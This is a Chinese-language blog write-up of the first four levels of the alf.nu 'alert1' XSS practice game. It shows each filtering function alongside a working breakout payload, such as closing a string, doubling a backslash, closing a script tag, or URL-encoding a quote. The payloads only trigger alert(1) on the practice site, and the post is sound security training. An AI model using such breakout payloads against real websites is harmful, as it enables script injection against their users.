xss闯关小游戏
0x00#
今天玩了一个XSS的练习闯关游戏,把自己的思路分享在这里。
平台链接:https://alf.nu/alert1
0x01#
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
这里没什么好说的,直接加双引号和括号绕过即可:
");alert(1);//
注意利用注释,防止JavaScript出现错误。
0x02#
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
此处代码利用正则,将双引号加上反斜杠进行转义,也不难突破,只需多加一个反斜杠,让转义的反斜杠失去作用即可:
\");alert(1);//
0x03#
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify()会将对象或数组转换为一个JSON字符串,这就意味着上一次运用的反斜杠转义彻底失效了。但是我们可以直接闭合前一个script标签,然后重新构造script标签:
</script><script>alert(1)//
0x04#
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);
var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}
使用双引号试图逃逸,但会被转义,但因为将url赋值给了a.href,所以便可以利用URL编码进行绕过:
%22);alert(1);//
这里的突破口主要在这里:
var a = document.createElement('a');
此方法会按指定名称创建一个元素,再加上后面的属性操作,它便会对此处进行URL编解码处理,即可被我们利用。
Over#
暂时写到这里,感兴趣的可以自行试试剩下的关卡。
***************** 敬属江上雨,寒舟里,我独饮。
敬属江上雨,寒舟里,我独饮。